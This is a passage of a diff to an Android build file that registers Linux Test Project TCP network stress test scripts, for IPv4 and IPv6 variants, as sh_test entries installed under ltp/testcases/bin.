+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend08",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend09",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend10",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend11",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend12",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend13",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-smallsend14",
+    src: "testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-smallsend14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso01",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso02",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso03",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso04",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso05",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso06",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso07",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso08",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso09",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso10",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso11",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso12",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso13",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-tso14",
+    src: "testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-tso14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale01",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale02",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale03",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale04",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale05",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale06",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale07",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale08",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale09",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale10",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale11",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale12",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale13",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp4-uni-winscale14",
+    src: "testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp4-uni-winscale14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip01",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip02",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip03",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip04",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip05",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip06",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip07",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip08",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip09",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip10",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip11",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip12",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip13",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffip14",
+    src: "testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffip14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic01",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic02",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic03",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic04",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic05",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic06",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic07",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic08",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic09",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic10",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic11",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic12",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic13",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffnic14",
+    src: "testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffnic14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport01",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport02",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport03",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport04",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport05",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport06",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport07",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport08",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport09",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport10",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport11",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport12",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport13",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-diffport14",
+    src: "testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-diffport14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport01",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport02",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport03",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport04",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport05",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport06",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport07",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport08",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport09",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport10",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport11",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport12",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport13",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-multi-sameport14",
+    src: "testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-multi-sameport14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic01",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic02",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic03",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic04",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic05",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic06",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic07",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic08",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic08",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic09",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic09",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic10",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic10",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic11",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic11",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic12",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic12",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic13",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic13",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-basic14",
+    src: "testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-basic14",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff01",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff02",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff03",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff04",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_tcp6-uni-dsackoff05",
+    src: "testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "tcp6-uni-dsackoff05",
+    compile_multilib: "both",
+}
+
+sh_test {
